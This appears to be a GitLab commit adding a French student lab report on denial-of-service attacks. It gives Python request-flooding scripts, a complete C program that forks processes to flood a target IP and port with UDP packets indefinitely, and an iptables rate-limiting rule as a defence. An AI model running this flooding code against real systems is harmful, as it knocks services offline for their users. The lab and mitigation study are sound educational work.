Skip to content
Snippets Groups Projects
Commit 2b40eec5 authored by iliya's avatar iliya
Browse files

feat: dos lab finished

parent 1b857fb5
No related branches found
No related tags found
No related merge requests found
......@@ -5,11 +5,11 @@
## Préparation du serveur
Ci-dessous se trouve la commande pour lancer un serveur HTTP en `python`
```bash
sudo python3 -m http.server <numéro_de_port>
```
## Programmation du script d'attaque
### Commencer par essayer d’envoyer une requête toute simple sur la machine Serveur. Quelle est la librairie requise ?
......@@ -36,3 +36,171 @@ while True:
r = requests.get(url=URL, params=PARAMS)
print(f"Req: {r}")
```
## Envoyer un grand nombre de requêtes
### Version multi-threadée
A nouveau, malheureusement, cette version ne nous a pas permis de faire tomber
le serveur pour des raisons qui nous sont inconnus, cependant nous suspectons
le **GIL** (_Global Interpreter Lock_) de `python` de nous empêcher de réellement
"paralléliser" l'envoie des requêtes vers le serveur. Le **GIL** agit comme un
verrou sur chaque thread même s'il n'y aucune ressource partagée ce qui va provoquer
une exécution séquentielle des envoies de requêtes.
```python
import requests
from threading import Thread
URL = "http://192.168.1.121:8080"
def send_req():
while True:
r = requests.get(url=URL)
print(f"Request status code = {r.status_code}")
if __name__ == "__main__":
list_threads = []
for i in range(500_000):
list_threads.append(Thread(target=send_req))
for thread in list_threads:
thread.start()
```
### Implémentation en `C`
Après une énorme quantité de diverses tentatives de faire fonctionner cette attaque
en utilisant `python`, nous nous sommes tournés vers une implémentation en `C`.
En résumé, notre exécutable `./dos` demande à l'utilisateur l'IP de la victime,
le port vers lequel nous souhaitons nous connecter ainsi que la quantité de
processus enfant que nous souhaitons créer. Par la suite, nous établissons une
connexion **UDP** où chaque processus enfant va envoyer pendant une durée
indéterminée des requêtes vers le serveur jusqu'à ce que celui-ci tombe. Cette
implémentation a fini par fonctionner.
```c
#include <arpa/inet.h>
#include <libgen.h>
#include <netinet/in.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
if (argc != 4) {
fprintf(stderr, "Usage :\n");
fprintf(stderr, "\t./%s <IP addr> <port number> <nb child processes>\n",
basename(argv[0]));
exit(EXIT_FAILURE);
}
char *addr_arg = argv[1];
uint16_t port_number = atoi(argv[2]);
int nb_child_processes = atoi(argv[3]);
struct sockaddr_in addr = {0};
if (inet_pton(AF_INET, addr_arg, &addr.sin_addr) == -1) {
perror("inet_pton");
exit(EXIT_FAILURE);
}
addr.sin_family = AF_INET;
addr.sin_port = htons(port_number);
for (int i = 0; i < nb_child_processes; i++) {
pid_t pid = fork();
if (pid == 0) {
char req_buf[256] = {0};
char *req_templ = "GET / HTTP/1.1\r\n"
"Host: %s\r\n"
"Connection: close\r\n\r\n";
snprintf(req_buf, 255, req_templ, addr_arg);
int sock = socket(AF_INET, SOCK_DGRAM, 0);
if (sock == -1) {
perror("socket");
close(sock);
exit(EXIT_FAILURE);
}
if (connect(sock, (const struct sockaddr *)&addr, sizeof(addr)) ==
-1) {
perror("connect");
close(sock);
exit(EXIT_FAILURE);
}
while (true) {
if (sendto(sock, req_buf, strlen(req_buf), 0,
(const struct sockaddr *)&addr,
sizeof(addr)) == -1) {
perror("write");
close(sock);
exit(EXIT_FAILURE);
}
}
}
}
for (int i = 0; i < nb_child_processes; i++) {
wait(NULL);
}
return EXIT_SUCCESS;
}
```
## Lancement de l'attaque
Pour exécuter l'attaque, il suffit d'exécuter le programme `dos` en lui passant
les arguments nécéssaires.
```bash
./dos <IP addr> <port number> <nb child processes>
```
## Protection contre le déni de service
### Quelles sont les protections utilisées à l’heure actuelle pour contrer un déni de service ?
À l'heure actuelle la protéction la plus répandue est de mettre en place un
"_rate limiter_" qui contrôle la quantité de requêtes que le serveur peut recevoir.
Si la quantité maximale autorisée de requêtes a été dépasée, ces dernières seront
rejetées / ignorées.
### Utilisation de `iptables`
Pour notre cas d'utilisation, nous avons du modifier la ligne de commande
proposée dans l'énoncé pour que celle-ci fonctionne dans le cas de notre attaque.
Les divers paramètres passés à `iptables` sont :
- `-I INPUT` signifiant que nous allons surveiller le trafic entrant
- `-p udp` spécifie le protocole utilisé (UDP)
- `--dport 8080` port sur lequel nous voulons effectuer ce "filtrage"
- `-m recent --update --seconds --hitcount 4` ces paramètres permettent de "monitorer"
les connexions effectuées pendant les 60 dernières secondes et s'il y a eu 4 connexions
venant de la même source durant les 60 dernières secondes, une action sera déclenchée.
- `--rsource` signifie que les règles de suivi des connexions récentes doivent
être appliquées en tenant compte de l'adresse source des paquets.
- `-j DROP` l'action qu'on attribue au paramètre défini précédemment, c'est-à-dire
faire "tomber" / ignoré les paquets (ne pas les traiter).
```bash
iptables -I INPUT -p udp --dport 8080 -m recent --update --seconds 60 --hitcount 4 --rsource -j DROP
```
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Please register or to comment